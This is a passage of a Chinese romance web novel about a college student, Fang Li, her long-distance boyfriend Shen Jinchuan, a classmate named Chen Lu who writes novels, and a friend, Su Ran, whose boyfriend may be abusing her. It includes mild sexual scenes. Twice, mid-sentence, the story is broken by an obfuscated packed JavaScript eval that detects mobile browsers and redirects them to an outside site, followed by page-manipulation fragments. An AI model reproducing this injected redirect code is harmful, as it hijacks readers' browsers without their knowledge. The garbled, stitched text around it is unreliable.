沈晋川回去后,我对他的想念越来越强烈了,以前只靠电话联系时还没这么难受,可他来过之后,我反而更想天天见到他了。 因为两晚没回宿舍,室友们都很八卦,追问我下雨天和男朋友去哪儿玩了。 我们宿舍关系很好,基本上没什么秘密,当她们知道我和沈晋川一起住在宾馆后,立刻起哄,问我俩是不是在一起了。 我脸一热,赶紧摇头说没有。 那时候的女生都很害羞,可当只有女生在场时,她们问起话来却又特别直白。尤其是佟雯,说话最大胆。 她说男人骨子里都好色,和喜欢的人在一起时怎么可能忍得住,哪还有心思装矜持。 她还说她男朋友像饿狼一样,他们在一个城市,隔三差五见面,她男朋友都总嚷着吃不饱。 她说起这话来好不害臊,我被她说的耳朵都发烫了,只能连忙找借口溜走。 大学生活照常继续,我和沈晋川还是每天都打电话,打视频。 偶尔也和潘露聊聊天,不过自从苏冉和罗斌同居后,我们联系就少了。苏冉说要过二人世界,我也没多打扰。 有一次和潘露聊天,我问她在学校有没有遇到喜欢的人,她说没有。 聊着聊着,她提到要参加学校的舞蹈比赛,但缺个舞伴。 我笑着说:“这还用愁?想当你舞伴的人肯定排长队。” 潘露撇撇嘴,说那些男生心思都一样,没一个靠谱的。 她突然问我:“能不能把沈晋川借我当舞伴?” 我愣了一下,说当然可以,不过得先问问沈晋川的意思。 潘露催我赶紧打电话,还说沈晋川毕竟是我男朋友,她自己去问不太合适。 结果电话打过去,沈晋川直接拒绝了。他说自己根本不会跳舞,也不想当潘露的舞伴。 “不是所有忙都能帮的。”他语气挺坚决,“在学校已经经常帮她了,再当舞伴,别人更得乱想。” 沈晋川说他之前经常帮潘露已经让有些同学误会了,连他们宿舍有人都问他是不是和潘露是一对,他不避嫌还去当她舞伴,不是让那些同学更瞎想吗? 我劝沈晋川别想太多,反正我们自己清楚就行。可他还是坚持不肯,我只好把原话转告潘露。 潘露听了有点失望,说那算了,实在不行就不要舞伴了。 我想了想,打趣道:“要不我去给你当舞伴?我客串,咱俩一起上台,肯定惊艳全场!” 潘露一下子笑了:“这个可以!绝对有意思!” 那时候的我完全没把潘露和沈晋川联系到一起过。虽然身边总有人提醒我“防火防盗防闺蜜”,但我觉得她们想太多了。 我和潘露从小一起长大,我太了解她了,她性格高傲,根本不会对姐妹喜欢的人动心的。 陈鹭还是每天找我聊天,偶尔带点零食给我。 自从我拒绝他,说我有男朋友并刻意保持距离后,他好像并不在意,反而坚持要和我做朋友。 他说让我别那么防备,就算做不成兄弟,当姐妹也行,逗得我直笑。 后来我发现,他是真心想和我交朋友,什么事都和我分享,拿不定主意时还会问我。 他总喜欢一个人坐在校园角落里,戴着耳机安静地敲电脑。 有次我实在忍不住,问他整天在写什么,他直接把电脑给我看,我才知道原来他在写小说。 陈鹭说他的梦想是当小说家,我原本以为他写的是武侠或者玄幻小说,毕竟男生都喜欢这些,没想到他写的竟然是青春言情故事。 我有点惊讶,笑着问他:“你一个大男生,怎么喜欢写这种女孩子爱看的东西?” 陈鹭推了推眼镜,一脸认真:“感情又不分男女,青春故事谁都能写啊。”他突然凑近我,神秘兮兮地压低声音,“而且,我写的故事可都是有原型的。” 我好奇地追问:“真的假的?该不会是你自己的经历吧?” 陈鹭笑着摇摇头没有回答,他看着我,突然眼睛一亮,“哎,要不你把你和你男朋友的故事告诉我,我给你们写成小说?说不定以后就火了。” 我立刻摇头:“我才不要呢。” “别这么快拒绝嘛。”陈鹭笑嘻嘻地说,“在我这儿,你想要什么结局就有什么结局,想要甜蜜的,我就写你们白头偕老,想要虐一点的,我就写你们经历重重考验,让你可以提前感受你们爱情的无数种可能。” 我白了他一眼:“我才不要呢!” 我的爱情可不是他笔下的文字,我的爱情是真实存在的,我要自己每天去探索,和自己的爱人一起,一步步地去经历,去感受。 我的爱情是清晨沈晋川发来的第一条消息,是深夜视频时我们都困得睁不开眼却还舍不得挂断,是每个平凡日子里最真实的温度。 陈鹭可以把我们的故事写得天花乱坠,但那终究只是他想象中的版本。 我们的爱情才刚刚发芽,未来还有那么多个日升月落要一起度过。 或许会遇见风雨,也会收获阳光,但正是这些未知的惊喜,才会让我们的故事独一无二,我不需要提前预知一个我幻想的结局,然后按照别人描写的剧本走,如果那天偏离了轨道,我心里难免会有落差,因为每个人想象的结局,肯定都比现实中发生的要更加美好,可相爱的意义,是两个人一起书写属于彼此的篇章。 既然如此,那我为什么要把手中的笔给别人,让他去帮我书写我的结局呢? 那些小说里的人生就像精心设计的剧本,每个情节都恰到好处,而现实生活更像一场即兴演出,可能不够完美,却总有意外的惊喜。 就像现在,我遇到了自己喜欢的人,和他一起,在未知的旅途上留下属于我们的足迹,这才是最珍贵的浪漫。 每个人想要的人生不一样,虚构的故事在怎么再动人,也比不上我们一起创造的回忆。 那些青涩的告白,幼稚的争吵,温暖的拥抱,是任何文字都无法复制的浪漫。 陈鹭笑着耸耸肩:“你说得对,再精彩的小说也比不上真实的人生。”他调皮地眨眨眼,“要是哪天我缺素材了,记得允许我偷偷记录一下你们的甜蜜时刻哈。” 我笑着把手机装回口袋:“那得看我的心情了。”转身要走时,却听见他在后面轻声说,“其实我挺羡慕你们的。” 这句话让我停下脚步,回头看见陈鹭低头看着电脑,平日里总是嬉皮笑脸的他此刻显得格外认真。 “你知道吗?我写了那么多爱情故事,却从来没真正谈过恋爱,有时候写着写着,都分不清哪些是虚构,哪些是我真正渴望的。” 我走回去在他身边坐下,树叶沙沙作响,不远处传来同学的说话声。 “那为什么不去谈一场恋爱呢?”我问,“难道没遇见喜欢的人?” “遇见了。”陈鹭看着我,“不过她已经走了,我又没有书里的男主光环,留不住她。” 我第一反应以为他在说我。 我拍了拍他的肩膀:“你又不是书里的人物,每个人在自己人生里都是主角,说不定对的那个人正在未来某个转角等着你呢。” 陈鹭摇摇头,又恢复了那副玩世不恭的表情:“算啦,我还是当个码字工好好写我的小说吧。”他转头看我,“以前我总觉得好的故事都是人书写出来的,后来发现,最好的故事原来都在现实里,只是有时候现实太残忍了,需要我们这些码字工来书写一个美好的结局。” 我忍不住笑出声:“怎么突然这么伤感起来了?这可不像平时嬉皮笑脸的你啊。” 陈鹭揉了揉眼睛,也跟着笑了:“可能是写小说写魔怔了吧,跟着主角经历太多故事,有时候都分不清现实和虚构了。” 他低头看着屏幕,“说来也挺好笑的,我写了那么多别人的爱情故事,在小说里给每个角色都安排了完美的结局,却从来没好好经营过自己的人生。” “你知道吗。”他继续道,声音轻得几乎听不见,“我甚至在小说里给自己写过无数个版本的人生,每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我有个妹妹,四岁那年掉进河里被水冲走了,我妈受不了打击,总把我当成妹妹,给我穿裙子,扎辫子,村里的小孩都笑我是假姑娘,没人愿意跟我玩,还经常追着打我,只有她不一样,愿意跟我玩,甚至在别人打我时,她会冲上去跟人打架。” “她个子很小的,但力气很大,每次都能把欺负我的人打跑,有一次三个男生围着我要脱我裤子,她冲过来就把他们一个个推倒在地,还教我怎么揍他们……” 他说着说着眼睛就红了,“上了初中后,欺负我的人更多了,他们说我走路像女生,说话像女生,连我写字的姿势都要嘲笑,每次她都会把我护在身后,对那些人大喊‘谁敢动他试试’,她说只要我跟着她,她就会保护我,就没人敢欺负我了……” 初三毕业那年,女孩问他:“你喜欢我吗?”他害羞得没回答。后来上了高中,他们不在一个班了。高一下学期,女孩突然休学去了外省看病,再也没回来。 我听完他的故事,心里涌上一股说不出的滋味。 天底下长得像的人确实很多,但偏偏是他喜欢的人和我这么像,又偏偏在他失去她之后遇见了我,这巧合荒谬得就像他小说里的情节,却又真实得让人无法反驳。 陈鹭苦笑着说,他第一眼见到我的时候整个人都僵住了,夕阳下的侧脸,扎马尾的样子,甚至连低头看书的姿势,都像极了她。有那么一瞬间,他真的以为是她回来了。 世界上相似的人确实很多,但每个人都是独一无二的,也许他想从我身上寻找故人的影子,但我就是我,和他怀念的不是一个人。 操场的晚风吹乱了我的头发,我突然明白为什么他笔下的故事总是那么完美了,男女主角从相遇就注定在一起,没有误会,没有错过,更没有生死相隔。 原来他一直在用文字弥补现实的遗憾,给自己书写一个永远无法实现的完美结局。 故事是要写下去,但生活也要继续,他是持笔者,该为自己写一个全新的开头了。 13. 我想背你一辈子 沈晋川对我的思念一点也不比我对他的少,甚至更强烈。 他总在电话里念叨着想见我,想把我拥在怀里,所以当他突然说“我下周去看你”的时候,我一点儿也不意外。 我们在电话里商量了好久要去哪里玩,我提前查好了天气,想在他来之前把一切都安排得妥当。 “你来的那几天正好是大晴天,这次你来,我们一定要好好玩,不能浪费时间。”我对他说。 沈晋川在电话那头笑了:“只要和你在一起,怎么都不算浪费时间。” 那几天我白天一有空就做攻略,查路线,晚上和沈晋川打电话聊天,聊等他来我们先去哪儿再去哪儿,经常一聊就忘了时间,睡觉前,我总是忍不住想象他来的样子,越想越期待。 室友们听说沈晋川要来看我,七嘴八舌地给我出主意,她们说得天花乱坠,听得我耳朵发烫,我说用不着这些,但还是忍不住对她们说的有些事感到好奇。 去火车站接沈晋川的那天,我特意换了新裙子,沈晋川一见到我就把我搂进怀里。 这次我们都不像以前那样害羞了,他在我唇上重重吻了一下,问我想他了吗?我说想了,也回吻了他一下。 他自然地牵起我的手,我们坐公交去宾馆放行李,然后就去夜市附近吃饭了。 回去的时候,路灯亮堂堂的,街上人来人往,沈晋川握着我的手突然问:“累不累?” 我说不累,他却蹲下来非要背我,我脸一热,还是趴了上去。 前面有一对老夫妻牵着手在慢慢走,我趴在他耳边说:“等我们老了也要那样散步。” 沈晋川看了看说:“等我们老了,我还背你。” 我笑他:“到时候你哪还背得动啊。” 沈晋川却很认真地说:“背得动,我想背你一辈子。” 我脸红了,搂着他脖子的手收紧了些,我也想让他背我一辈子。 沈晋川背着我,边走边和我聊天,到宾馆门口时,我让他放我下来,他偏不肯。 我红着脸说:“都到了,我自己走。” 他反而把我往上托了托,直接背着我走进了大厅。 前台抬头看我们,我羞得赶紧把脸埋在他肩膀上。 他一路背我上楼,进门才把我放在床上,随即压下来亲我。 “害羞了?”他看着我通红的脸问。 “才没有。”我嘴硬道。 他轻轻啄了下我的嘴唇:“真的没有?” 我搂住他的脖子:“说了没有。” 他又亲了亲我,眼神温柔的看着我。 我推推他:“快去洗澡睡觉,明天还要早起呢。” “一起洗?”他坏笑着问。 我顿时脸红到耳根:“不要!” “不是说不害羞吗?” “就是不害羞才不要!”我使劲推他,感觉自己脸烫的不行,“赶紧去洗啦!” 沈晋川凑在我耳边轻声喊“宝宝”,然后让我叫他老公,说就一起洗吧。 他蹭着我的鼻尖说坐车太累了没力气,要我帮他洗,我脸烫得要命,骂他流氓,他却趁机吻住我。 吻还没结束,沈晋川的手机突然响了,他拿过手机接电话,我等了好一会儿见他还没挂,就打算自己先洗。 进浴室打开花洒却发现不出水,我裹紧浴巾试着调试,沐浴露和洗发水放在花洒开关旁边,我一用力不小心把沐浴露碰到了地上。 许是听到了东西落地的响声,沈晋川在外面问:“怎么了?” “没事,沐浴露掉地上了。”我边说边继续研究花洒,“花洒好像坏了,不出水。”我朝着门口喊了一句。 “我进去看看。”沈晋川说了句,随后推门走了进来,看到我裹着浴巾的样子愣了一下,耳朵有点红了。 沈晋川检查了下,从另一边拧开花洒,水突然喷出来溅了他一身。 他赶紧关掉,说:“好了。” 我点点头,往后退了退,想让他先出去,他却没往门口走,而是朝我走来,突然一把抱住了我,啄了一下我的唇,说:“我的衣服湿了,只能和你一起洗了,一起洗嘛,好不好。” 我心跳快得不像话,脸红得发烫,拒绝的话到了嘴边却说不出来,只觉得沈晋川现在胆子越来越大,越来越会耍流氓了。 见我不说话,沈晋川当我默认了,亲了我几下,慢慢褪去衣服,和我一起站在了花洒下。 温热的水流从头顶浇下来,沈晋川的吻也落了下来,手顺着我的脖颈慢慢往下,我们的呼吸都变得急促了起来。 我脑子一片空白,笨拙地回应着他的吻,眼睛都不知道该往哪看,心跳快的打过了水声。 就在我以为会发生点什么的时候,他突然停住,清洗掉身上的泡沫,吻了吻我的唇,然后关掉花洒拿过浴巾包住了我。 从浴室出来,沈晋川帮我吹干头发,抱着我躺到床上,把我搂在怀里,吻了吻我的额头,“睡吧。” 从浴室的大胆到刚才,将近一个小时,他却只是亲我,什么都没做。 我看着他安静的睡颜,心里却乱糟糟的,刚才在浴室我都做好准备了,却什么都没发生。 我的脸突然烧了起来,天呐!我在想什么?我想发生什么呢?我居然在期待亲吻之后的事情?我怎么能有这种不健康的想法,我赶紧闭上眼睛强迫自己睡觉。 第二天醒来,阳光透过窗帘洒进来,我们洗漱完,简单吃了早餐,就牵着手坐公交车去博物馆了。 车上人不少,沈晋川紧紧握着我的手,时不时拿起来亲一下,弄得我心里又痒又甜。 中午在餐厅吃饭时,透过窗户看到不远处的树下有一对情侣正旁若无人地亲吻,我脸一热,赶紧移开视线。 不知道这里人来人往,他们怎么好意思的。 可收回目光的瞬间,眼神又不自觉地瞟向沈晋川,他正在低头吃菜。其实我也想在阳光下吻沈晋川,但外面人太多,实在觉得不好意思。 他突然抬头,我赶紧低头喝饮料,心跳却莫名加速,不知道自己怎么了,怎么脑子里竟是些乱七八糟的东西。 总是不受控制的想起昨晚浴室的画面,脑子里都是马赛克,越想 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洗完澡他直接用浴巾裹着我将我抱出来,轻轻放在床上,吻也随之落了下来,他的吻从唇滑到脖颈,又回到唇上,手隔着浴巾轻抚我的后背。 吻持续了好久,久到我感觉肺里的空气都快被抽干了,只能攀着他的肩膀,笨拙的回应,彼此的呼吸都变得又急又重,在安静的房间里格外清晰。 一种心照不宣的预感笼罩着我,我突然意识到接下来要发生什么了,我开始紧张起来。 “方梨。”沈晋川突然抬头看我,声音哑的厉害,“我想要你。” 我心跳快得要蹦出来了,只能紧紧搂住他的脖子,看着他近在咫尺写满渴望的脸,我完全说不出话,只能急促地呼吸。 沈晋川轻啄我的唇,在我唇边呢喃:“我爱你,方梨,我爱你。” 我喃喃回应:“我也爱你。” 沈晋川又吻了下来,吻比刚刚还要用力,像是要把那句爱意揉进我的骨血里。 不知道吻了多久,他稍稍退开了一点,额头抵着我的额头,呼吸交织在一起。 他凝视着我的眼睛,目光里翻滚着浓烈的爱意和紧张。 “方梨,我想要你。”他撑起身子,深深看进我的眼睛里,“给我好不好?” 我看着他,脑子依然一片混乱,所有的词汇都消失了,根本说不出话来。 沈晋川再次吻住我:“给我吧,给我好不好?” 我看着他灼热的目光,和他那句反复的低语,我的身体比我的意识更早做出了回应,在他再次俯身吻我时,我听到自己喉咙里发出一声极其轻微的“嗯。” 得到回应后,沈晋川的吻突然变得急切起来,他伸手扯掉了浴巾,手在我身上游走,动作生涩急了,好几次都笨拙地碰到了不该碰的地方。 我搂着沈晋川的脖子紧紧抱着他,能感觉到他心跳快得不像话,他的吻很轻柔,带着安抚的意味,从我唇上慢慢往下…… 那晚我们缠绵了好久,直到后半夜才相拥着睡去。 14. 你最甜 第二天我们睡到日上三竿才醒,原本计划去游乐场也没去,洗漱后随便吃了点东西,在附近漫无目的地闲逛。 路过一家奶茶店时,沈晋川突然把我拽进去,非要买情侣款的第二杯半价。 我们捧着奶茶出来,我说奶茶很甜,沈晋川说没有我给他的大白兔奶糖甜,更没有我甜。 我脸一下子就热了,推了他一把:“你不要脸。” 他反而抓牢我的手,低头在我手背上轻轻碰了下,声音低低的:“是真的,你不知道你有多甜。” 我羞的低下头,耳朵烧的厉害,烫的我不敢抬头看他,只是任由他牵着往前走,手心被他攥得暖暖的,心跳却快的不行。 我们闲逛了一圈,觉得没什么意思,又索然地荡回了宾馆。 想到明天沈晋川就要走了,我心口猛地一坠,沉甸甸的。 他把我搂在怀里,下巴抵着我的发顶:“我要是有超能力就好了。”他声音闷闷地,“我就变成个小挂件,二十四小时黏在你身上,撕都撕不下来。” 我也不想分开,一点也不想。如果真的能二十四小时黏在一起就好了。 爱情刚开始是不是都这样啊?好像永远都不会腻,有说不完的话,做不完的事,就算粘一整天也不烦。 就像去一个与世隔绝的地方,只要跟他待在一起,也能待很久很久。 眼里好像只能看到他的好,心里只有他,只想跟他在一起,哪有什么矛盾啊,感觉他好得没一点瑕疵。 我仰头看他,他顺势吻了下来,我们忘情地纠缠在一起,仿佛要把分别前的每一分钟都挥霍在缠绵上,直到精疲力竭,才汗涔涔地紧贴着躺下。 沈晋川说买了明天晚上的票。 我立刻摇头:“不行!那回去都凌晨了,你还怎么睡?第二天还要上课!” 他满不在乎地蹭我的鼻尖:“没事的,火车上能睡会。” 理智告诉我该催他早点走,可心里却又舍不得,最终,理智还是败给了那点贪恋,我默许了他的决定。 分别那天,我们几乎没有出门,沈晋川抱着我一遍遍亲吻,说相聚的时间总是太短,许诺下次放假再来。 我抵着他的胸口,声音有点哑:“下次换我去找你,每次都让你奔波,太累了。” 沈晋川笑着摇头:“见你的路上,不累的。”然后又开始吻我。 我们就这样腻着,仿佛要把每一秒都榨出蜜来,直到窗外天色渐沉,才不得不挣扎着起身,收拾行李。 火车站人流喧嚣,机械的广播声重复着车次信息,混在嘈杂的脚步声和交谈声里,显得格外冰冷。 沈晋川把背包递进安检口,转身要抱我的瞬间,我的眼泪突然就掉了下来。 明明上次还能忍住,怎么这次就突然如此难受了? 沈晋川看到我满脸泪水,眼睛瞬间也红了,他捧着我的脸,用拇指擦我的眼泪,可越擦越多,最后他干脆吻我。 “别哭。”他声音哑得厉害,“等放假,我马上就来,很快的!” 就是这句“很快”,像一把钝刀子,猛地捅开了我所有强装的镇定。 我再也顾不得旁人眼光,埋在他颈窝里,像个走丢的孩子般嚎啕大哭:“我讨厌这样!讨厌车站!讨厌看着你走!”我不想他走。 沈晋川下巴抵着我的头顶,喉结剧烈地滚动着,声音哽咽:“毕业就好了,毕业我们就在一起,永远不分开,天天腻着,谁也别想分开我们!” 我抬头看他,他也正红着眼眶看我,广播最后一次催促,他用力吻了我一下,“下次来,我们去这次没去成的地方,好不好?” 我死死咬着下唇,只能点头。 看着他检票进站,背影一点点被人潮吞没,心里那片地方,像是被硬生生挖走了一块,空荡荡地灌着冷风。 沈晋川的身影彻底消失在拐角的那一瞬,我的眼泪再次涌了出来,一股巨大的冲动攫住了我,想不管不顾冲过去抓住他,甚至想追上去和他一起走。 我就那样定在原地,像被钉住了魂魄,茫然地看着他消失的方向。 手机铃声惊醒了我,是沈晋川。 接起来,电话那头传来车站嘈杂的背景音,他哑着嗓子问:“坐上车了吗?” “……还没。”我吸着鼻子,声音闷闷的。 “快坐车回去。”他说。 我拖着脚步往外走,拦了辆出租车,电话那头,沈晋川强打起精神,开始讲一些蹩脚的笑话,努力想逗我开心。 我听着他故作轻松的声音,眼泪流得更凶了。 回到宿舍,我们抱着电话又聊了许久,仿佛要把连接我们的那条电话线焐热,焐成连接彼此的脐带。 直到窗外墨色浓稠,凌晨的寂静笼罩下来,才在千万个舍不得里,挂断了电话。 自从和沈晋川真正在一起后,只要他来看我,我们基本就窝在宾馆不出门,饿了直接打电话叫外卖,吃饱了就挤在床上看电影,看着看着就滚到一起去了。 那些精心做的旅行攻略,说好要去这儿玩那儿玩的,最后根本没去成几个地方。 每次见面前都兴奋地计划要去哪儿,可真见了面,谁都不愿意动弹,光腻歪就觉得时间不够。 每次沈晋川走后我回宿舍,室友们总八卦地问我们又去哪儿玩了,说沈晋川买的那么勤快,周边能玩的地方应该都被我们玩遍了吧,我支支吾吾不好意思说实话,只能笑着糊弄过去。 苏冉偶尔会和我联系,话题永远绕不开罗斌。 潘露依旧没有找到她的白马王子,她说她们学校的男生都入不了她的眼。 我们仨时不时会聊起严莉莉,聊她在广州过得好不好,为什么突然断了联系,是不是换了扣扣号。 我也总在她扣扣上留言,跟她说我们的近况,问她怎么样,什么时候回来,说如果有空的话来武汉找我玩,可一直没收到她的回复。 直到有一天晚上,我刚洗完澡准备和沈晋川视频,扣扣突然响了,是严莉莉发来的消息。 我一愣,看着那个亮起来的卡通头像,忙问她怎么这么久不联系,扣扣也不上线,还在广州吗?过得好不好?电话多少?放假回不回来? 我一口气问了好多,又给她发视频,但她没接,只是回了一句:“小屁孩,能借我点钱吗?” 我问她要多少,她说:“一万。” 我愣住了。我一个大学生,哪来这么多钱?我问她出什么事了,她说三言两语说不清,我说我一下子拿不出这么多,得去和潘露苏冉凑凑,挂了电话,我赶紧给潘露和苏冉发了消息。 我们仨凑了半天,勉强凑了一万。 其实我只有几百块,又找沈晋川拿了点,我俩加起来一千六,潘露出了两千,剩下的全是苏冉给的。 钱打过去后,严莉莉只说了句“谢谢”,说有钱了会马上还。 我们问她到底怎么了,还好吗?还在广州吗?她只会:“挺好的,等以后见面再说。” 我们让她留个电话,她却说:“我没手机,等有号码了我会联系你们的。”然后匆匆下了线,自那以后我们又断了联系。 苏冉借钱的事被罗斌知道了,他直接炸了,电话打到我这儿,劈头盖脸一顿骂,我才知道,苏冉拿钱时没和他商量。 罗斌在电话里吼:“人家找你借钱,你拉上苏冉干什么?严莉莉两年都没消息,谁知道是不是被骗了?六千块,你们当是大风刮来的?!” 他骂得很难听,说严莉莉跟人跑了,骂她不要脸,骂我装好人骗苏冉的钱,在害苏冉,甚至骂苏冉装大款。 苏冉在旁边让他别说了,但他还是继续骂,我说钱严莉莉肯定会还的,即便真的联系不到她,我也会还的,但话没说完,他就把电话挂了。 那通电话彻底颠覆了我对罗斌的印象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464339|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 以前苏冉总说他温柔体贴,我们偶尔见面时他也确实彬彬有礼,可电话里那个满嘴脏话,歇斯底里的人,和记忆中的罗斌完全对不上号。 潘露很快打来电话,说罗斌也骂了她。 她声音发颤:“他骂得特别难听,说什么‘你们这群傻逼被人骗了还当好人’,还说了好多难听话。” 我们俩握着电话沉默了很久,最后潘露小声问我,“这才是真正的罗斌吗?太吓人了。” 我开始担心起苏冉来,罗斌对我们这些外人都能骂成这样,关起门来会对她说什么?会不会动手? 晚上和沈晋川视频时,我跟他说了这件事,沈晋川听完后,第一反应不是跟着骂严莉莉,而是说:“咱们省吃俭用,先把苏冉的钱还上吧。” 然后安慰我说罗斌可能是太着急了,毕竟六千块不少,罗斌可能怕苏冉被骗,一时情急有些激动了。 沈晋川说严莉莉肯定是遇到难处了,他说虽然他不了解严莉莉,但既然是我的朋友,那人品自然不会差。 他说严莉莉在最难的时候想到的是我,那在她心里,我一定是她最信任的人。 我鼻子一酸,差点哭出来。 我们盘算着从生活费里抠钱出来先一点点还给苏冉,这意味着接下来几个月直到放假,我们见面的车票钱都得精打细算。 我半开玩笑的说:“严莉莉可把我们害惨了,害得我们这对苦命鸳鸯要勒紧裤腰带过日子了,等她回来,我一定要让她好好补偿我。” 沈晋川在屏幕那头看着我笑,我突然觉得,能遇到这样一个温柔的人,真是太好了。 几天后,苏冉终于给我回电话了,一接通她就急着替罗斌道歉:“方梨,钱的事你们别放心上,真的不用还。”她的声音有点哑,“罗斌那天也不是故意的。” 其实在罗斌打电话给我的第二天,我就给苏冉打过电话,当时没人接,发信息给她也没人回,我只能留言说钱我先一点点还给她。 潘露说她也发了消息,但苏冉一直没回。我们都担心她是不是出事了。 现在听她在电话里拼命解释:“罗斌就是脾气急,都怪我,这么大的事情没跟他商量,他才会发火的。” 她把所有错都揽在自己身上,好像那六千块是偷来的一样,可那明明是她自己的钱啊,她和罗斌又没结婚,凭什么要看他脸色? 我握着电话没吭声,苏冉还在絮絮叨叨地替罗斌开脱,说他不容易,说他平时对她多好,说他为了两人的未来有多努力。 可我听来听去,只觉得她像是在说服自己。 我忍不住问苏冉:“那天罗斌挂了电话后,没对你做什么吧?” “没有。”苏冉语气轻松,“他这人脾气来得快去得也快,那天就是太着急了。” 电话那头,她又开始絮絮叨叨地说罗斌对她的好,就连买早餐,接她上下班这种小事都要扒出细节来讲给我听,就好像是要特意告诉我,罗斌有多好,那天的事,只是个意外。 可我越听心里越难受,脑子里全是那天罗斌在电话里的怒吼,还有这几天苏冉失联的样子。 我甚至怀疑过她是不是挨打了,怀疑罗斌的本性是不是就是那样,我想问,想提醒她,却又不知该如何开口。 毕竟我没和他们一起生活过,光凭一通电话就断定罗斌是坏人似乎不公平。 苏冉说等我放假回去请我和潘露吃饭,我答应了,挂掉电话后,心里还是闷闷的。 晚上和沈晋川视频时我说起这事,他一边吃泡面一边说:“你想太多了,苏冉是个成年人了,她有自己的判断能力,一个人对她好不好,人品如何,她每天和他生活在一起,能不知道吗?” 我想想也是,可能真是罗斌一时着急了。 虽然苏冉说不用还钱,但我和沈晋川还是决定按月还给她,我不想让苏冉为难,毕竟当初严莉莉确实是找我借的钱。 15. 我要抓着你一辈子 因为要从生活费里挤出钱来,我和沈晋川那段时间只能靠视频缓解思念。 放假回到市里那天,我们没急着回家,而是在宾馆待了整整一天,我们哪儿都没去,仿佛要把缺失的时光都补回来,亲吻缠绵怎么都不腻,也不觉得累。 苏冉知道我们回来了,特意请了一天假,约我和潘露吃饭。 之前她电话里说罗斌也会来,想为上次的事道歉,可等我们见面时,却只有她一人。 她一见我们就急忙解释:“罗斌本来要来的,他知道你们回来还说请你们吃饭呢,结果今天临时要加班,实在走不开,他让我替他道歉,那天是他脾气急了,你们别介意,还让我好好招待你们。” 苏冉说个不停,说的都是罗斌的好话,我却注意到她漏出的手腕上有一道伤痕。 我心头猛地一沉,第一反应是不是罗斌打的? 我抬头看潘露,她也在看我,她应该也注意到了。 我们对视了几秒,我还是没忍住问:“苏冉,你手腕怎么了?” 自从那次电话后,苏冉和我们联系就少了,打她电话要好几次才接,发信息很久才回。 有时候打电话说到一半,听到罗斌不耐烦的声音,她就会慌忙找借口挂断。 她说罗斌要道歉时,我们是不信的,但无所谓,我们也不需要他的道歉,只要他对苏冉好就行。 可自从和罗斌谈恋爱后,苏冉就好像变了个人,变得有些迷失自我了。 她从小没有得到过父母的爱,所以当有人对她好时,她就会毫无保留的付出全部感情,甚至我觉得她现在有点讨好罗斌的意思。 在感情里两个人应该是对等的关系,而不是因为爱他把自己摆在低等地位。 我知道苏冉骨子里自卑,那份自卑非但没有随着年龄消散,反而愈发深重,正因如此,当罗斌出现时,她才会飞蛾扑火般的陷进去。 就像她自己说的,她很好哄,只要给点爱,哪怕真生气了,罗斌服软说几句好话,给颗糖,她就能好。 但如果她手腕上的伤真是罗斌造成的,那不管怎样,她都必须离开他。 苏冉低头看了眼手腕,语气轻松地说:“没事,干活时不小心蹭的。” 我和潘露对视了一眼,都从对方眼里看出了怀疑。 “真的假的?”我追问道。 她笑了笑:“真的,夜班太困了,没留神被机器刮了下。” “夜班?”我和潘露异口同声。 苏冉点点头:“嗯,我现在打两份工。” 我心头一紧,立刻想到严莉莉借钱的事,愧疚感涌了上来:“对不起苏冉,那个钱我……” 话没说完就被苏冉摆手打断:“别瞎想,跟莉莉借钱没关系。” 潘露着急地追问:“那是为什么?白天晚上连轴转,你身体扛得住吗?” “是不是你爸妈让你做的?”我问。苏冉的爸妈重男轻女特别严重,我想会不会因为她爸妈问她要钱,逼她一天打两份工。 “不是。”苏冉垂下眼睛,声音轻了下来:“是罗斌爸爸生病了……病得很重,急需用钱。” 苏冉说罗斌爸爸得了肺癌,要化疗,花销很大,这事她原本不知道,罗斌瞒着她,怕她担心。 后来罗斌妈妈打电话时,她偶然听到的,她说这事就发生在严莉莉跟我们借钱后没几天,所以当时罗斌知道她借给严莉莉六千块才会那么生气。 苏冉断断续续说了很多,潘露忍不住问她:“罗斌爸爸生病,为什么要你拼命赚钱?你们又没结婚,你把自己放这么低干什么?搞得像非他不可似的,不知道的还以为生病的是你亲爸!” 苏冉小声解释:“我看罗斌压力太大,心疼,而且他爸对我特别好。” 我看着她,心里特别不是滋味。 她说罗斌工作辛苦,她就打两份工,可凭什么呢?那是罗斌的爸爸,就像潘露说的,他们又没结婚,她根本没义务这样。 罗斌累,难道她就不累吗?为什么要用糟蹋自己的方式去爱别人?好像非要证明给罗斌看,你看我多爱你,舍不得你累,我来扛就行。 我忍不住劝她:“苏冉,想帮忙可以借点钱,但没必要掏心掏肺,人都是现实的,那是罗斌亲爸,他辛苦是应该的,你真不用这样。” 苏冉却坚持说我们不懂,她说就是想和罗斌结婚才会这样,等结婚了公婆就是自己爸妈,孝顺是应该的,还说他们年轻人多干点很正常。 对她的这个逻辑,我和潘露都有些无语,我俩劝了半天,她一句都听不进去。 正说着,罗斌来电话了,苏冉接起电话,对面不知道说了什么,就听苏冉一个劲地应着:“知道了”“我没有”“你别生气”“我现在就回去”之类的。 她挂了电话就说要回去,说罗斌加班回家还没吃饭。 潘露气得直翻白眼:“他没长手吗?” 苏冉还在维护:“他上一天班很累了。” 我忍不住反问:“你不是说他特别疼你,连饭都不让你做吗?” 苏冉笑着说:“对啊,但有时候他太累了,我也要做的不是,两个人要互相体谅嘛,我总不能一直坐享其成吧。” 本来想着好久不见能好好聚聚,结果一顿饭全在说罗斌,还没聊几句,苏冉就急着要走。 